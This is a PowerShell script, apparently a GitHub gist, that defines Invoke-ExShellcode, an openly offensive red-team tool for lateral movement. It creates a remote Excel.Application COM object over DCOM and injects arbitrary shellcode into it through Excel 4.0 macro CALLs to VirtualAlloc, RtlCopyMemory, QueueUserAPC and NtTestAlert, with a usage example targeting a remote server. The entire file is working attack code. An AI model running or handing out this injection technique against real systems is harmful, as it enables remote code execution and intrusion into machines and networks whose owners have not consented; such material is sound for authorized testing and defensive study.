<# | |
Lateral movement and shellcode injection via Excel 4.0 macros | |
Author: Philip Tsukerman (@PhilipTsukerman) | |
License: BSD 3-Clause | |
Based on Invoke-Excel4DCOM by Stan Hegt (@StanHacked) / Outflank - https://github.com/outflanknl/Excel4-DCOM | |
#> | |
function Invoke-ExShellcode | |
{ | |
<# | |
.SYNOPSIS | |
Inject Shellcode into a local or remote instance of the Excel.Application COM object | |
.PARAMETER ComputerName | |
Specify a remote host to inject into. | |
.PARAMETER Payload | |
A file containing the shellcode bytes | |
.PARAMETER x64 | |
Specify the x64 switch to enable x64 shellcode injection | |
.EXAMPLE | |
PS > Invoke-ExShellcode -ComputerName server01 -Payload C:\temp\payload.bin -x64 | |
Injects the x64 payload in payload.bin to an x64 Excel instance on server01 | |
.NOTES | |
Based on Invoke-Excel4DCOM by Stan Hegt (@StanHacked) / Outflank - https://github.com/outflanknl/Excel4-DCOM | |
#> | |
[CmdletBinding()] Param( | |
[Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)] | |
[Alias("PSComputerName","MachineName","IP","IPAddress","Host")] | |
[String] | |
$ComputerName, | |
[Parameter(Position = 1, Mandatory = $true)] | |
[Alias("Shellcode")] | |
[String] | |
$Payload, | |
[switch]$x64 | |
) | |
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName")) | |
if ($x64) { # If we're injecting to a x64 process, try to allocate memory at an address representable by a DWORD | |
$lpAddress = 0x50000000 | |
} | |
else { | |
$lpAddress = 0 | |
} | |
$sc = Get-Content -Encoding Byte $Payload | |
# Allocate a buffer for shellcode | |
$memaddr = $excel.ExecuteExcel4Macro('CALL("Kernel32","VirtualAlloc","JJJJJ",'+$lpAddress+',' + $sc.length + ',12288,64)') | |
if ($memaddr -eq 0) {throw "ERROR - Could not allocate memory buffer" } | |
# Build a series of strings from which to copy our shellcode, without exceeding maximum macro size, and write the bytes to our buffer | |
$count = 0 # Bytes Processed by our loop | |
$string = "" # Current byte string to be written in our buffer | |
$curlength = 0 # Length of the current string as a byte buffer | |
$cursor = 0 # Offset from the bae of the buffer to which we write the current byte string | |
foreach ($byte in $sc) { | |
if ($byte -eq 0) { | |
# The string datatype can't handle zero bytes, so we give them special treatment | |
if ($curlength -gt 0) { | |
# If there's already a buffer to write, flush it | |
$ret = $excel.ExecuteExcel4Macro('CALL("kernel32", "RtlCopyMemory", "JJCJ",'+($memaddr+ $cursor)+ ','+$string+','+$curlength+')') | |
} | |
# just skip the zero byte, as VirtualAlloc initializes our buffer to zeroes anyway | |
$curlength = 0 | |
$string = "" | |
$count += 1 | |
continue | |
} | |
if ($curlength -eq 0 ) { | |
# This is the beginning | |
$cursor = $count | |
$string += "CHAR`($byte`)" | |
} | |
else { | |
# If we're in the middle of a string, prepend '&' to the byte value to concatnate it to the previous one | |
$string += "&CHAR`($byte`)" | |
} | |
$curlength += 1 | |
if ($string.Length -ge 150) { | |
# Flush and write the current byte string to the target buffer | |
$ret = $excel.ExecuteExcel4Macro('CALL("kernel32", "RtlCopyMemory", "JJCJ",'+($memaddr+ $cursor)+ ','+$string+','+$curlength+')') | |
$string = "" | |
$curlength = 0 | |
} | |
$count += 1 | |
# Call Write-Progress for every 10 bytes processed, the progress bar adds considerable performance overhead and should not be called for every byte | |
if ($count % 10 -eq 0) {Write-Progress -Id 1 -Activity "Invoke-Excel4DCOM" -CurrentOperation "Injecting shellcode" -PercentComplete ($count / $sc.length * 100)} | |
} | |
if ($curlength -gt 0) { | |
# Write any leftover bytes to the buffer | |
$ret = $excel.ExecuteExcel4Macro('CALL("kernel32", "RtlCopyMemory", "JJCJ",'+($memaddr+ $cursor)+ ','+$string+','+$curlength+')') | |
} | |
# Queue an APC with the address of the shellcode to the current thread. Seems like there's a single thread handling our macros, so the next CALL will be still handled by the same thread | |
$excel.ExecuteExcel4Macro('CALL("Kernel32","QueueUserAPC","JJJJ", ' + $memaddr + ', -2, 0)') | |
# NtTestAlert will flush the current thread's APC cache, and execute our shellcode | |
# The Start-Job timeout hack exists here as otherwise the command will hang until the shellcode returns (and crashes the process) | |
Start-Job {param($excel)$excel.ExecuteExcel4Macro('CALL("ntdll", "NtTestAlert", "J")')} -ArgumentList $excel |Wait-Job -timeout 1 | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment